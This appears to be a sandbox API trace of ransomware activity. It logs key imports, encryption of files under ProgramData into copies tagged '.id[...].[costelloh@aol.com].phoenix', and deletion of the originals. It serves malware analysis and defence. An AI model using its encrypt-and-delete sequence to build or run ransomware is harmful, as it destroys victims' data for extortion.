	[0228.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.974] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.974] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.974] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.974] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1511c0) returned 1
	[0228.974] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.974] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x6274, lpOverlapped=0x0) returned 1
	[0228.987] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x6280, dwBufLen=0x6280 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x6280) returned 1
	[0228.987] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x6280, lpOverlapped=0x0) returned 1
	[0228.989] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0228.989] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.989] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.989] CryptDestroyKey (hKey=0x151040) returned 1
	[0228.989] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.989] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0228.989] CloseHandle (hObject=0x2c0) returned 1
	[0228.989] CloseHandle (hObject=0x2d8) returned 1
	[0228.991] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml")) returned 1
	[0228.992] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.992] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.993] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0228.993] CloseHandle (hObject=0x2d8) returned 1
	[0228.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml")) returned 0x20
	[0228.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.993] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.993] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.993] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.993] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.994] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0228.994] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.994] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0228.995] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0228.995] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0228.996] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1511c0) returned 1
	[0228.996] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.996] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.996] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0228.996] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0229.005] CryptDestroyKey (hKey=0x151500) returned 1
	[0229.005] CloseHandle (hObject=0x2d8) returned 1
	[0229.005] CloseHandle (hObject=0x2c0) returned 1
	[0229.279] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml")) returned 1
	[0229.280] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.280] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.323] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2539) returned 1
	[0229.323] CloseHandle (hObject=0x2d8) returned 1
	[0229.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml")) returned 0x20
	[0229.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.328] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.329] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=72785) returned 1
	[0229.329] CloseHandle (hObject=0x2d8) returned 1
	[0229.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml")) returned 0x20
	[0229.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.331] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.334] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10596) returned 1
	[0229.334] CloseHandle (hObject=0x2d8) returned 1
	[0229.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml")) returned 0x20
	[0229.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.335] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.336] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.337] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=13160) returned 1
	[0229.337] CloseHandle (hObject=0x2d8) returned 1
	[0229.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml")) returned 0x20
	[0229.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.339] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.340] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1286) returned 1
	[0229.340] CloseHandle (hObject=0x2d8) returned 1
	[0229.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml")) returned 0x20
	[0229.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.342] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.342] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.344] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2891) returned 1
	[0229.344] CloseHandle (hObject=0x2d8) returned 1
	[0229.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml")) returned 0x20
	[0229.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.347] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.347] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.350] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3417) returned 1
	[0229.351] CloseHandle (hObject=0x2d8) returned 1
	[0229.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml")) returned 0x20
	[0229.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.351] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.372] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=892) returned 1
	[0229.372] CloseHandle (hObject=0x2d8) returned 1
	[0229.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml")) returned 0x20
	[0229.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.373] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.373] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.374] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11296) returned 1
	[0229.375] CloseHandle (hObject=0x2d8) returned 1
	[0229.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd")) returned 0x20
	[0229.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.376] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\programdata\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.376] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.376] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.381] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=602320) returned 1
	[0229.381] CloseHandle (hObject=0x2d8) returned 1
	[0229.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat")) returned 0x20
	[0229.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.381] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.381] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0229.381] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
